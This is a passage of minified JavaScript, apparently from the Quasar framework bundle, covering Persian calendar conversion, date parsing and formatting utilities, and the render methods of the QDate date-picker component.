            gy: bs(e, 1461) - 100100 + bs(8 - n, 6),
            gm: n,
            gd: s
        }
    }
    function bs(t, e) {
        return ~~(t / e)
    }
    function ys(t, e) {
        return t - ~~(t / e) * e
    }
    var ws = {
        mixins: [Dt, ai, Mt],
        props: {
            value: {
                required: !0
            },
            mask: {
                type: String
            },
            locale: Object,
            calendar: {
                type: String,
                validator: function(t) {
                    return ["gregorian", "persian"].includes(t)
                },
                default: "gregorian"
            },
            landscape: Boolean,
            color: String,
            textColor: String,
            square: Boolean,
            flat: Boolean,
            bordered: Boolean,
            readonly: Boolean,
            disable: Boolean
        },
        watch: {
            mask: function() {
                var t = this;
                this.$nextTick(function() {
                    t.__updateValue({}, "mask")
                })
            },
            computedLocale: function() {
                var t = this;
                this.$nextTick(function() {
                    t.__updateValue({}, "locale")
                })
            }
        },
        computed: {
            editable: function() {
                return !0 !== this.disable && !0 !== this.readonly
            },
            computedColor: function() {
                return this.color || "primary"
            },
            computedTextColor: function() {
                return this.textColor || "white"
            },
            computedTabindex: function() {
                return !0 === this.editable ? 0 : -1
            },
            headerClass: function() {
                var t = [];
                return void 0 !== this.color && t.push("bg-" + this.color),
                void 0 !== this.textColor && t.push("text-" + this.textColor),
                t.join(" ")
            },
            computedLocale: function() {
                return this.__getComputedLocale()
            }
        },
        methods: {
            __getComputedLocale: function() {
                return this.locale || this.$q.lang.date
            },
            __getCurrentDate: function() {
                var t = new Date;
                if ("persian" === this.calendar) {
                    var e = ds(t);
                    return {
                        year: e.jy,
                        month: e.jm,
                        day: e.jd
                    }
                }
                return {
                    year: t.getFullYear(),
                    month: t.getMonth() + 1,
                    day: t.getDate()
                }
            },
            __getCurrentTime: function() {
                var t = new Date;
                return {
                    hour: t.getHours(),
                    minute: t.getMinutes(),
                    second: t.getSeconds(),
                    millisecond: t.getMilliseconds()
                }
            }
        }
    }
      , Ss = 864e5
      , xs = 36e5
      , Cs = 6e4
      , ks = "YYYY-MM-DDTHH:mm:ss.SSSZ"
      , qs = /\[((?:[^\]\\]|\\]|\\)*)\]|d{1,4}|M{1,4}|m{1,2}|w{1,2}|Qo|Do|D{1,4}|YY(?:YY)?|H{1,2}|h{1,2}|s{1,2}|S{1,3}|Z{1,2}|a{1,2}|[AQExX]/g
      , Ts = /(\[[^\]]*\])|d{1,4}|M{1,4}|m{1,2}|w{1,2}|Qo|Do|D{1,4}|YY(?:YY)?|H{1,2}|h{1,2}|s{1,2}|S{1,3}|Z{1,2}|a{1,2}|[AQExX]|([.*+:?^,\s${}()|\\]+)/g
      , $s = {};
    function Ms(t, e, i, s, n) {
        var o = Object.assign({
            year: null,
            month: null,
            day: null,
            hour: null,
            minute: null,
            second: null,
            millisecond: null,
            timezoneOffset: null,
            dateHash: null,
            timeHash: null
        }, n);
        if (void 0 === t || null === t || "" === t || "string" != typeof t)
            return o;
        void 0 === e && (e = ks);
        var r = void 0 !== i ? i : I.props.date
          , a = r.months
          , l = r.monthsShort
          , c = function(t, e) {
            var i = "(" + e.days.join("|") + ")"
              , s = t + i;
            if (void 0 !== $s[s])
                return $s[s];
            var n = "(" + e.daysShort.join("|") + ")"
              , o = "(" + e.months.join("|") + ")"
              , r = "(" + e.monthsShort.join("|") + ")"
              , a = {}
              , l = 0
              , c = t.replace(Ts, function(t) {
                switch (l++,
                t) {
                case "YY":
                    return a.YY = l,
                    "(-?\\d{1,2})";
                case "YYYY":
                    return a.YYYY = l,
                    "(-?\\d{1,4})";
                case "M":
                    return a.M = l,
                    "(\\d{1,2})";
                case "MM":
                    return a.M = l,
                    "(\\d{2})";
                case "MMM":
                    return a.MMM = l,
                    r;
                case "MMMM":
                    return a.MMMM = l,
                    o;
                case "D":
                    return a.D = l,
                    "(\\d{1,2})";
                case "Do":
                    return a.D = l++,
                    "(\\d{1,2}(st|nd|rd|th))";
                case "DD":
                    return a.D = l,
                    "(\\d{2})";
                case "H":
                    return a.H = l,
                    "(\\d{1,2})";
                case "HH":
                    return a.H = l,
                    "(\\d{2})";
                case "h":
                    return a.h = l,
                    "(\\d{1,2})";
                case "hh":
                    return a.h = l,
                    "(\\d{2})";
                case "m":
                    return a.m = l,
                    "(\\d{1,2})";
                case "mm":
                    return a.m = l,
                    "(\\d{2})";
                case "s":
                    return a.s = l,
                    "(\\d{1,2})";
                case "ss":
                    return a.s = l,
                    "(\\d{2})";
                case "S":
                    return a.S = l,
                    "(\\d{1})";
                case "SS":
                    return a.S = l,
                    "(\\d{2})";
                case "SSS":
                    return a.S = l,
                    "(\\d{3})";
                case "A":
                    return a.A = l,
                    "(AM|PM)";
                case "a":
                    return a.a = l,
                    "(am|pm)";
                case "aa":
                    return a.aa = l,
                    "(a\\.m\\.|p\\.m\\.)";
                case "ddd":
                    return n;
                case "dddd":
                    return i;
                case "Q":
                case "d":
                case "E":
                    return "(\\d{1})";
                case "Qo":
                    return "(1st|2nd|3rd|4th)";
                case "DDD":
                case "DDDD":
                    return "(\\d{1,3})";
                case "w":
                    return "(\\d{1,2})";
                case "ww":
                    return "(\\d{2})";
                case "Z":
                    return a.Z = l,
                    "(Z|[+-]\\d{2}:\\d{2})";
                case "ZZ":
                    return a.ZZ = l,
                    "(Z|[+-]\\d{2}\\d{2})";
                case "X":
                    return a.X = l,
                    "(-?\\d+)";
                case "x":
                    return a.x = l,
                    "(-?\\d{4,})";
                default:
                    return l--,
                    "[" === t[0] && (t = t.substring(1, t.length - 1)),
                    t.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")
                }
            })
              , u = {
                map: a,
                regex: new RegExp("^" + c)
            };
            return $s[s] = u,
            u
        }(e, r)
          , u = c.regex
          , h = c.map
          , d = t.match(u);
        if (null === d)
            return o;
        var p = "";
        if (void 0 !== h.X || void 0 !== h.x) {
            var f = parseInt(d[void 0 !== h.X ? h.X : h.x], 10);
            if (!0 === isNaN(f) || f < 0)
                return o;
            var m = new Date(f * (void 0 !== h.X ? 1e3 : 1));
            o.year = m.getFullYear(),
            o.month = m.getMonth() + 1,
            o.day = m.getDate(),
            o.hour = m.getHours(),
            o.minute = m.getMinutes(),
            o.second = m.getSeconds(),
            o.millisecond = m.getMilliseconds()
        } else {
            if (void 0 !== h.YYYY)
                o.year = parseInt(d[h.YYYY], 10);
            else if (void 0 !== h.YY) {
                var v = parseInt(d[h.YY], 10);
                o.year = v < 0 ? v : 2e3 + v
            }
            if (void 0 !== h.M) {
                if (o.month = parseInt(d[h.M], 10),
                o.month < 1 || o.month > 12)
                    return o
            } else
                void 0 !== h.MMM ? o.month = l.indexOf(d[h.MMM]) + 1 : void 0 !== h.MMMM && (o.month = a.indexOf(d[h.MMMM]) + 1);
            if (void 0 !== h.D) {
                if (o.day = parseInt(d[h.D], 10),
                null === o.year || null === o.month || o.day < 1)
                    return o;
                var g = "persian" !== s ? new Date(o.year,o.month,0).getDate() : ms(o.year, o.month);
                if (o.day > g)
                    return o
            }
            void 0 !== h.H ? o.hour = parseInt(d[h.H], 10) % 24 : void 0 !== h.h && (o.hour = parseInt(d[h.h], 10) % 12,
            (h.A && "PM" === d[h.A] || h.a && "pm" === d[h.a] || h.aa && "p.m." === d[h.aa]) && (o.hour += 12),
            o.hour = o.hour % 24),
            void 0 !== h.m && (o.minute = parseInt(d[h.m], 10) % 60),
            void 0 !== h.s && (o.second = parseInt(d[h.s], 10) % 60),
            void 0 !== h.S && (o.millisecond = parseInt(d[h.S], 10) * Math.pow(10, 3 - d[h.S].length)),
            void 0 === h.Z && void 0 === h.ZZ || (p = void 0 !== h.Z ? d[h.Z].replace(":", "") : d[h.ZZ],
            o.timezoneOffset = ("+" === p[0] ? -1 : 1) * (60 * p.slice(1, 3) + 1 * p.slice(3, 5)))
        }
        return o.dateHash = o.year + "/" + pt(o.month) + "/" + pt(o.day),
        o.timeHash = pt(o.hour) + ":" + pt(o.minute) + ":" + pt(o.second) + p,
        o
    }
    function Ls(t, e) {
        void 0 === e && (e = "");
        var i = t > 0 ? "-" : "+"
          , s = Math.abs(t)
          , n = s % 60;
        return i + pt(Math.floor(s / 60)) + e + pt(n)
    }
    function Bs(t, e) {
        var i = new Date(t.getFullYear(),e,0,0,0,0,0).getDate();
        t.setMonth(e - 1, Math.min(i, t.getDate()))
    }
    function Ps(t, e, i) {
        var s = new Date(t)
          , n = i ? 1 : -1;
        return Object.keys(e).forEach(function(t) {
            if ("month" !== t) {
                var i = "year" === t ? "FullYear" : ut("days" === t ? "date" : t);
                s["set" + i](s["get" + i]() + n * e[t])
            } else
                Bs(s, s.getMonth() + 1 + n * e.month)
        }),
        s
    }
    function Os(t) {
        var e = new Date(t.getFullYear(),t.getMonth(),t.getDate());
        e.setDate(e.getDate() - (e.getDay() + 6) % 7 + 3);
        var i = new Date(e.getFullYear(),0,4);
        i.setDate(i.getDate() - (i.getDay() + 6) % 7 + 3);
        var s = e.getTimezoneOffset() - i.getTimezoneOffset();
        e.setHours(e.getHours() - s);
        var n = (e - i) / (7 * Ss);
        return 1 + Math.floor(n)
    }
    function Es(t, e) {
        var i = new Date(t);
        return !0 === e ? function(t) {
            return 1e4 * t.getFullYear() + 100 * t.getMonth() + t.getDate()
        }(i) : i.getTime()
    }
    function zs(t, e, i) {
        var s = new Date(t)
          , n = "set" + (i ? "UTC" : "");
        return Object.keys(e).forEach(function(t) {
            if ("month" !== t) {
                var i = "year" === t ? "FullYear" : t.charAt(0).toUpperCase() + t.slice(1);
                s["" + n + i](e[t])
            } else
                Bs(s, e.month)
        }),
        s
    }
    function As(t, e) {
        var i = new Date(t);
        switch (e) {
        case "year":
            i.setMonth(0);
        case "month":
            i.setDate(1);
        case "day":
            i.setHours(0);
        case "hour":
            i.setMinutes(0);
        case "minute":
            i.setSeconds(0);
        case "second":
            i.setMilliseconds(0)
        }
        return i
    }
    function Ds(t, e, i) {
        return (t.getTime() - t.getTimezoneOffset() * Cs - (e.getTime() - e.getTimezoneOffset() * Cs)) / i
    }
    function Rs(t, e, i) {
        void 0 === i && (i = "days");
        var s = new Date(t)
          , n = new Date(e);
        switch (i) {
        case "years":
            return s.getFullYear() - n.getFullYear();
        case "months":
            return 12 * (s.getFullYear() - n.getFullYear()) + s.getMonth() - n.getMonth();
        case "days":
            return Ds(As(s, "day"), As(n, "day"), Ss);
        case "hours":
            return Ds(As(s, "hour"), As(n, "hour"), xs);
        case "minutes":
            return Ds(As(s, "minute"), As(n, "minute"), Cs);
        case "seconds":
            return Ds(As(s, "second"), As(n, "second"), 1e3)
        }
    }
    function Is(t) {
        return Rs(t, As(t, "year"), "days") + 1
    }
    function Fs(t) {
        return new Date(t.getFullYear(),t.getMonth() + 1,0).getDate()
    }
    function js(t) {
        if (t >= 11 && t <= 13)
            return t + "th";
        switch (t % 10) {
        case 1:
            return t + "st";
        case 2:
            return t + "nd";
        case 3:
            return t + "rd"
        }
        return t + "th"
    }
    var Vs = {
        YY: function(t, e, i) {
            var s = this.YYYY(t, e, i) % 100;
            return s > 0 ? pt(s) : "-" + pt(Math.abs(s))
        },
        YYYY: function(t, e, i) {
            return void 0 !== i && null !== i ? i : t.getFullYear()
        },
        M: function(t) {
            return t.getMonth() + 1
        },
        MM: function(t) {
            return pt(t.getMonth() + 1)
        },
        MMM: function(t, e) {
            return e.monthsShort[t.getMonth()]
        },
        MMMM: function(t, e) {
            return e.months[t.getMonth()]
        },
        Q: function(t) {
            return Math.ceil((t.getMonth() + 1) / 3)
        },
        Qo: function(t) {
            return js(this.Q(t))
        },
        D: function(t) {
            return t.getDate()
        },
        Do: function(t) {
            return js(t.getDate())
        },
        DD: function(t) {
            return pt(t.getDate())
        },
        DDD: function(t) {
            return Is(t)
        },
        DDDD: function(t) {
            return pt(Is(t), 3)
        },
        d: function(t) {
            return t.getDay()
        },
        dd: function(t, e) {
            return this.dddd(t, e).slice(0, 2)
        },
        ddd: function(t, e) {
            return e.daysShort[t.getDay()]
        },
        dddd: function(t, e) {
            return e.days[t.getDay()]
        },
        E: function(t) {
            return t.getDay() || 7
        },
        w: function(t) {
            return Os(t)
        },
        ww: function(t) {
            return pt(Os(t))
        },
        H: function(t) {
            return t.getHours()
        },
        HH: function(t) {
            return pt(t.getHours())
        },
        h: function(t) {
            var e = t.getHours();
            return 0 === e ? 12 : e > 12 ? e % 12 : e
        },
        hh: function(t) {
            return pt(this.h(t))
        },
        m: function(t) {
            return t.getMinutes()
        },
        mm: function(t) {
            return pt(t.getMinutes())
        },
        s: function(t) {
            return t.getSeconds()
        },
        ss: function(t) {
            return pt(t.getSeconds())
        },
        S: function(t) {
            return Math.floor(t.getMilliseconds() / 100)
        },
        SS: function(t) {
            return pt(Math.floor(t.getMilliseconds() / 10))
        },
        SSS: function(t) {
            return pt(t.getMilliseconds(), 3)
        },
        A: function(t) {
            return this.H(t) < 12 ? "AM" : "PM"
        },
        a: function(t) {
            return this.H(t) < 12 ? "am" : "pm"
        },
        aa: function(t) {
            return this.H(t) < 12 ? "a.m." : "p.m."
        },
        Z: function(t, e, i, s) {
            return Ls(void 0 === s || null === s ? t.getTimezoneOffset() : s, ":")
        },
        ZZ: function(t, e, i, s) {
            return Ls(void 0 === s || null === s ? t.getTimezoneOffset() : s)
        },
        X: function(t) {
            return Math.floor(t.getTime() / 1e3)
        },
        x: function(t) {
            return t.getTime()
        }
    };
    function Ns(t, e, i, s, n) {
        if ((0 === t || t) && t !== 1 / 0 && t !== -1 / 0) {
            var o = new Date(t);
            if (!isNaN(o)) {
                void 0 === e && (e = ks);
                var r = void 0 !== i ? i : I.props.date;
                return e.replace(qs, function(t, e) {
                    return t in Vs ? Vs[t](o, r, s, n) : void 0 === e ? t : e.split("\\]").join("]")
                })
            }
        }
    }
    var Hs, Qs, Ws, Ys, Us, Ks, Xs = {
        isValid: function(t) {
            return "number" == typeof t || !1 === isNaN(Date.parse(t))
        },
        extractDate: function(t, e, i) {
            var s = Ms(t, e, i)
              , n = new Date(s.year,null === s.month ? null : s.month - 1,s.day,s.hour,s.minute,s.second,s.millisecond)
              , o = n.getTimezoneOffset();
            return null === s.timezoneOffset || s.timezoneOffset === o ? n : Ps(n, {
                minutes: s.timezoneOffset - o
            }, !0)
        },
        buildDate: function(t, e) {
            return zs(new Date, t, e)
        },
        getDayOfWeek: function(t) {
            var e = new Date(t).getDay();
            return 0 === e ? 7 : e
        },
        getWeekOfYear: Os,
        isBetweenDates: function(t, e, i, s) {
            void 0 === s && (s = {});
            var n = Es(e, s.onlyDate)
              , o = Es(i, s.onlyDate)
              , r = Es(t, s.onlyDate);
            return (r > n || !0 === s.inclusiveFrom && r === n) && (r < o || !0 === s.inclusiveTo && r === o)
        },
        addToDate: function(t, e) {
            return Ps(t, e, !0)
        },
        subtractFromDate: function(t, e) {
            return Ps(t, e, !1)
        },
        adjustDate: zs,
        startOfDate: As,
        endOfDate: function(t, e) {
            var i = new Date(t);
            switch (e) {
            case "year":
                i.setMonth(11);
            case "month":
                i.setDate(Fs(i));
            case "day":
                i.setHours(23);
            case "hour":
                i.setMinutes(59);
            case "minute":
                i.setSeconds(59);
            case "second":
                i.setMilliseconds(59)
            }
            return i
        },
        getMaxDate: function(t) {
            var e = new Date(t);
            return Array.prototype.slice.call(arguments, 1).forEach(function(t) {
                e = Math.max(e, new Date(t))
            }),
            e
        },
        getMinDate: function(t) {
            var e = new Date(t);
            return Array.prototype.slice.call(arguments, 1).forEach(function(t) {
                e = Math.min(e, new Date(t))
            }),
            e
        },
        getDateDiff: Rs,
        getDayOfYear: Is,
        inferDateFormat: function(t) {
            return !0 === Si(t) ? "date" : "number" == typeof t ? "number" : "string"
        },
        getDateBetween: function(t, e, i) {
            var s = new Date(t);
            if (e) {
                var n = new Date(e);
                if (s < n)
                    return n
            }
            if (i) {
                var o = new Date(i);
                if (s > o)
                    return o
            }
            return s
        },
        isSameDate: function(t, e, i) {
            var s = new Date(t)
              , n = new Date(e);
            if (void 0 === i)
                return s.getTime() === n.getTime();
            switch (i) {
            case "second":
                if (s.getSeconds() !== n.getSeconds())
                    return !1;
            case "minute":
                if (s.getMinutes() !== n.getMinutes())
                    return !1;
            case "hour":
                if (s.getHours() !== n.getHours())
                    return !1;
            case "day":
                if (s.getDate() !== n.getDate())
                    return !1;
            case "month":
                if (s.getMonth() !== n.getMonth())
                    return !1;
            case "year":
                if (s.getFullYear() !== n.getFullYear())
                    return !1;
                break;
            default:
                throw new Error("date isSameDate unknown unit " + i)
            }
            return !0
        },
        daysInMonth: Fs,
        formatDate: Ns,
        clone: function(t) {
            return !0 === Si(t) ? new Date(t.getTime()) : t
        }
    }, Gs = function(t) {
        return ["Calendar", "Years", "Months"].includes(t)
    }, Zs = t.extend({
        name: "QDate",
        mixins: [ws],
        props: {
            title: String,
            subtitle: String,
            emitImmediately: Boolean,
            mask: {
                default: "YYYY/MM/DD"
            },
            defaultYearMonth: {
                type: String,
                validator: function(t) {
                    return /^-?[\d]+\/[0-1]\d$/.test(t)
                }
            },
            yearsInMonthView: Boolean,
            events: [Array, Function],
            eventColor: [String, Function],
            options: [Array, Function],
            firstDayOfWeek: [String, Number],
            todayBtn: Boolean,
            minimal: Boolean,
            defaultView: {
                type: String,
                default: "Calendar",
                validator: Gs
            }
        },
        data: function() {
            var t = this.__getModels(this.value, this.mask, this.__getComputedLocale())
              , e = t.inner
              , i = t.external
              , s = !0 === this.$q.lang.rtl ? "right" : "left";
            return {
                view: this.defaultView,
                monthDirection: s,
                yearDirection: s,
                startYear: e.year - e.year % 20 - (e.year < 0 ? 20 : 0),
                innerModel: e,
                extModel: i
            }
        },
        watch: {
            value: function(t) {
                var e = this
                  , i = this.__getModels(t, this.mask, this.__getComputedLocale())
                  , s = i.inner
                  , n = i.external;
                this.extModel.dateHash === n.dateHash && this.extModel.timeHash === n.timeHash || (this.extModel = n),
                s.dateHash !== this.innerModel.dateHash && (this.monthDirection = this.innerModel.dateHash < s.dateHash == (!0 !== this.$q.lang.rtl) ? "left" : "right",
                s.year !== this.innerModel.year && (this.yearDirection = this.monthDirection),
                this.$nextTick(function() {
                    e.startYear = s.year - s.year % 20 - (s.year < 0 ? 20 : 0),
                    e.innerModel = s
                }))
            },
            view: function() {
                void 0 !== this.$refs.blurTarget && this.$refs.blurTarget.focus()
            }
        },
        computed: {
            classes: function() {
                var t = !0 === this.landscape ? "landscape" : "portrait";
                return "q-date q-date--" + t + " q-date--" + t + "-" + (!0 === this.minimal ? "minimal" : "standard") + (!0 === this.isDark ? " q-date--dark q-dark" : "") + (!0 === this.bordered ? " q-date--bordered" : "") + (!0 === this.square ? " q-date--square no-border-radius" : "") + (!0 === this.flat ? " q-date--flat no-shadow" : "") + (!0 === this.disable ? " disabled" : !0 === this.readonly ? " q-date--readonly" : "")
            },
            headerTitle: function() {
                if (void 0 !== this.title && null !== this.title && this.title.length > 0)
                    return this.title;
                var t, e = this.extModel;
                if (null === e.dateHash)
                    return " --- ";
                if ("persian" !== this.calendar)
                    t = new Date(e.year,e.month - 1,e.day);
                else {
                    var i = ps(e.year, e.month, e.day);
                    t = new Date(i.gy,i.gm - 1,i.gd)
                }
                return !0 === isNaN(t.valueOf()) ? " --- " : void 0 !== this.computedLocale.headerTitle ? this.computedLocale.headerTitle(t, e) : this.computedLocale.daysShort[t.getDay()] + ", " + this.computedLocale.monthsShort[e.month - 1] + " " + e.day
            },
            headerSubtitle: function() {
                return void 0 !== this.subtitle && null !== this.subtitle && this.subtitle.length > 0 ? this.subtitle : null !== this.extModel.year ? this.extModel.year : " --- "
            },
            dateArrow: function() {
                var t = [this.$q.iconSet.datetime.arrowLeft, this.$q.iconSet.datetime.arrowRight];
                return !0 === this.$q.lang.rtl ? t.reverse() : t
            },
            computedFirstDayOfWeek: function() {
                return void 0 !== this.firstDayOfWeek ? Number(this.firstDayOfWeek) : this.computedLocale.firstDayOfWeek
            },
            daysOfWeek: function() {
                var t = this.computedLocale.daysShort
                  , e = this.computedFirstDayOfWeek;
                return e > 0 ? t.slice(e, 7).concat(t.slice(0, e)) : t
            },
            daysInMonth: function() {
                return this.__getDaysInMonth(this.innerModel)
            },
            today: function() {
                return this.__getCurrentDate()
            },
            evtFn: function() {
                var t = this;
                return "function" == typeof this.events ? this.events : function(e) {
                    return t.events.includes(e)
                }
            },
            evtColor: function() {
                var t = this;
                return "function" == typeof this.eventColor ? this.eventColor : function(e) {
                    return t.eventColor
                }
            },
            isInSelection: function() {
                var t = this;
                return "function" == typeof this.options ? this.options : function(e) {
                    return t.options.includes(e)
                }
            },
            days: function() {
                var t, e, i = [];
                if ("persian" !== this.calendar)
                    t = new Date(this.innerModel.year,this.innerModel.month - 1,1),
                    e = new Date(this.innerModel.year,this.innerModel.month - 1,0).getDate();
                else {
                    var s = ps(this.innerModel.year, this.innerModel.month, 1);
                    t = new Date(s.gy,s.gm - 1,s.gd);
                    var n = this.innerModel.month - 1
                      , o = this.innerModel.year;
                    0 === n && (n = 12,
                    o--),
                    e = ms(o, n)
                }
                var r = t.getDay() - this.computedFirstDayOfWeek - 1
                  , a = r < 0 ? r + 7 : r;
                if (a < 6)
                    for (var l = e - a; l <= e; l++)
                        i.push({
                            i: l,
                            fill: !0
                        });
                for (var c = i.length, u = this.innerModel.year + "/" + pt(this.innerModel.month) + "/", h = 1; h <= this.daysInMonth; h++) {
                    var d = u + pt(h);
                    if (void 0 !== this.options && !0 !== this.isInSelection(d))
                        i.push({
                            i: h
                        });
                    else {
                        var p = void 0 !== this.events && !0 === this.evtFn(d) && this.evtColor(d);
                        i.push({
                            i: h,
                            in: !0,
                            flat: !0,
                            event: p
                        })
                    }
                }
                if (this.innerModel.year === this.extModel.year && this.innerModel.month === this.extModel.month) {
                    var f = c + this.innerModel.day - 1;
                    void 0 !== i[f] && Object.assign(i[f], {
                        unelevated: !0,
                        flat: !1,
                        color: this.computedColor,
                        textColor: this.computedTextColor
                    })
                }
                this.innerModel.year === this.today.year && this.innerModel.month === this.today.month && (i[c + this.today.day - 1].today = !0);
                var m = i.length % 7;
                if (m > 0)
                    for (var v = 7 - m, g = 1; g <= v; g++)
                        i.push({
                            i: g,
                            fill: !0
                        });
                return i
            },
            attrs: function() {
                return !0 === this.disable ? {
                    "aria-disabled": ""
                } : !0 === this.readonly ? {
                    "aria-readonly": ""
                } : void 0
            }
        },
        methods: {
            setToday: function() {
                this.__updateValue(Object.assign({}, this.today), "today"),
                this.view = "Calendar"
            },
            setView: function(t) {
                !0 === Gs(t) && (this.view = t)
            },
            offsetCalendar: function(t, e) {
                ["month", "year"].includes(t) && this["__goTo" + ("month" === t ? "Month" : "Year")](!0 === e ? -1 : 1)
            },
            __getModels: function(t, e, i) {
                var s = Ms(t, "persian" === this.calendar ? "YYYY/MM/DD" : e, i, this.calendar);
                return {
                    external: s,
                    inner: null === s.dateHash ? this.__getDefaultModel() : Object.assign({}, s)
                }
            },
            __getDefaultModel: function() {
                var t, e;
                if (void 0 !== this.defaultYearMonth) {
                    var i = this.defaultYearMonth.split("/");
                    t = parseInt(i[0], 10),
                    e = parseInt(i[1], 10)
                } else {
                    var s = void 0 !== this.today ? this.today : this.__getCurrentDate();
                    t = s.year,
                    e = s.month
                }
                return {
                    year: t,
                    month: e,
                    day: 1,
                    hour: 0,
                    minute: 0,
                    second: 0,
                    millisecond: 0,
                    dateHash: t + "/" + pt(e) + "/01"
                }
            },
            __getHeader: function(t) {
                var e = this;
                if (!0 !== this.minimal)
                    return t("div", {
                        staticClass: "q-date__header",
                        class: this.headerClass
                    }, [t("div", {
                        staticClass: "relative-position"
                    }, [t("transition", {
                        props: {
                            name: "q-transition--fade"
                        }
                    }, [t("div", {
                        key: "h-yr-" + this.headerSubtitle,
                        staticClass: "q-date__header-subtitle q-date__header-link",
                        class: "Years" === this.view ? "q-date__header-link--active" : "cursor-pointer",
                        attrs: {
                            tabindex: this.computedTabindex
                        },
                        on: mt(this, "vY", {
                            click: function() {
                                e.view = "Years"
                            },
                            keyup: function(t) {
                                13 === t.keyCode && (e.view = "Years")
                            }
                        })
                    }, [this.headerSubtitle])])]), t("div", {
                        staticClass: "q-date__header-title relative-position flex no-wrap"
                    }, [t("div", {
                        staticClass: "relative-position col"
                    }, [t("transition", {
                        props: {
                            name: "q-transition--fade"
                        }
                    }, [t("div", {
                        key: "h-sub" + this.headerTitle,
                        staticClass: "q-date__header-title-label q-date__header-link",
                        class: "Calendar" === this.view ? "q-date__header-link--active" : "cursor-pointer",
                        attrs: {
                            tabindex: this.computedTabindex
                        },
                        on: mt(this, "vC", {
                            click: function() {
                                e.view = "Calendar"
                            },
                            keyup: function(t) {
                                13 === t.keyCode && (e.view = "Calendar")
                            }
                        })
                    }, [this.headerTitle])])]), !0 === this.todayBtn ? t(be, {
                        staticClass: "q-date__header-today",
                        props: {
                            icon: this.$q.iconSet.datetime.today,
                            flat: !0,
                            size: "sm",
                            round: !0,
                            tabindex: this.computedTabindex
                        },
                        on: mt(this, "today", {
                            click: this.setToday
                        })
                    }) : null])])
            },
            __getNavigation: function(t, e) {
                var i = this
                  , s = e.label
                  , n = e.view
                  , o = e.key
                  , r = e.dir
                  , a = e.goTo
                  , l = e.cls;
                return [t("div", {
                    staticClass: "row items-center q-date__arrow"
                }, [t(be, {
                    props: {
                        round: !0,
                        dense: !0,
                        size: "sm",
                        flat: !0,
                        icon: this.dateArrow[0],
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "go-#" + n, {
                        click: function() {
                            a(-1)
                        }
                    })
                })]), t("div", {
                    staticClass: "relative-position overflow-hidden flex flex-center" + l
                }, [t("transition", {
                    props: {
                        name: "q-transition--jump-" + r
                    }
                }, [t("div", {
                    key: o
                }, [t(be, {
                    props: {
                        flat: !0,
                        dense: !0,
                        noCaps: !0,
                        label: s,
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "view#" + n, {
                        click: function() {
                            i.view = n
                        }
                    })
                })])])]), t("div", {
                    staticClass: "row items-center q-date__arrow"
                }, [t(be, {
                    props: {
                        round: !0,
                        dense: !0,
                        size: "sm",
                        flat: !0,
                        icon: this.dateArrow[1],
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "go+#" + n, {
                        click: function() {
                            a(1)
                        }
                    })
                })])]
            },
            __getCalendarView: function(t) {
                var e = this;
                return [t("div", {
                    key: "calendar-view",
                    staticClass: "q-date__view q-date__calendar"
                }, [t("div", {
                    staticClass: "q-date__navigation row items-center no-wrap"
                }, this.__getNavigation(t, {
                    label: this.computedLocale.months[this.innerModel.month - 1],
                    view: "Months",
                    key: this.innerModel.month,
                    dir: this.monthDirection,
                    goTo: this.__goToMonth,
                    cls: " col"
                }).concat(this.__getNavigation(t, {
                    label: this.innerModel.year,
                    view: "Years",
                    key: this.innerModel.year,
                    dir: this.yearDirection,
                    goTo: this.__goToYear,
                    cls: ""
                }))), t("div", {
                    staticClass: "q-date__calendar-weekdays row items-center no-wrap"
                }, this.daysOfWeek.map(function(e) {
                    return t("div", {
                        staticClass: "q-date__calendar-item"
                    }, [t("div", [e])])
                })), t("div", {
                    staticClass: "q-date__calendar-days-container relative-position overflow-hidden"
                }, [t("transition", {
                    props: {
                        name: "q-transition--slide-" + this.monthDirection
                    }
                }, [t("div", {
                    key: this.innerModel.year + "/" + this.innerModel.month,
                    staticClass: "q-date__calendar-days fit"
                }, this.days.map(function(i) {
                    return t("div", {
                        staticClass: "q-date__calendar-item q-date__calendar-item--" + (!0 === i.fill ? "fill" : !0 === i.in ? "in" : "out")
                    }, [!0 === i.in ? t(be, {
                        staticClass: !0 === i.today ? "q-date__today" : null,
                        props: {
                            dense: !0,
                            flat: i.flat,
                            unelevated: i.unelevated,
                            color: i.color,
                            textColor: i.textColor,
                            label: i.i,
                            tabindex: e.computedTabindex
                        },
                        on: mt(e, "day#" + i.i, {
                            click: function() {
                                e.__setDay(i.i)
                            }
                        })
                    }, !1 !== i.event ? [t("div", {
                        staticClass: "q-date__event bg-" + i.event
                    })] : null) : t("div", [i.i])])
                }))])])])]
            },
            __getMonthsView: function(t) {
                var e = this
                  , i = this.innerModel.year === this.today.year
                  , s = this.computedLocale.monthsShort.map(function(s, n) {
                    var o = e.innerModel.month === n + 1;
                    return t("div", {
                        staticClass: "q-date__months-item flex flex-center"
                    }, [t(be, {
                        staticClass: !0 === i && e.today.month === n + 1 ? "q-date__today" : null,
                        props: {
                            flat: !0 !== o,
                            label: s,
                            unelevated: o,
                            color: !0 === o ? e.computedColor : null,
                            textColor: !0 === o ? e.computedTextColor : null,
                            tabindex: e.computedTabindex
                        },
                        on: mt(e, "month#" + n, {
                            click: function() {
                                e.__setMonth(n + 1)
                            }
                        })
                    })])
                });
                return !0 === this.yearsInMonthView && s.unshift(t("div", {
                    staticClass: "row no-wrap full-width"
                }, [this.__getNavigation(t, {
                    label: this.innerModel.year,
                    view: "Years",
                    key: this.innerModel.year,
                    dir: this.yearDirection,
                    goTo: this.__goToYear,
                    cls: " col"
                })])),
                t("div", {
                    key: "months-view",
                    staticClass: "q-date__view q-date__months flex flex-center"
                }, s)
            },
            __getYearsView: function(t) {
                for (var e = this, i = this.startYear, s = i + 20, n = [], o = function(i) {
                    var s = e.innerModel.year === i;
                    n.push(t("div", {
                        staticClass: "q-date__years-item flex flex-center"
                    }, [t(be, {
                        key: "yr" + i,
                        staticClass: e.today.year === i ? "q-date__today" : null,
                        props: {
                            flat: !s,
                            label: i,
                            dense: !0,
                            unelevated: s,
                            color: s ? e.computedColor : null,
                            textColor: s ? e.computedTextColor : null,
                            tabindex: e.computedTabindex
                        },
                        on: mt(e, "yr#" + i, {
                            click: function() {
                                e.__setYear(i)
                            }
                        })
                    })]))
                }, r = i; r <= s; r++)
                    o(r);
                return t("div", {
                    staticClass: "q-date__view q-date__years flex flex-center"
                }, [t("div", {
                    staticClass: "col-auto"
                }, [t(be, {
                    props: {
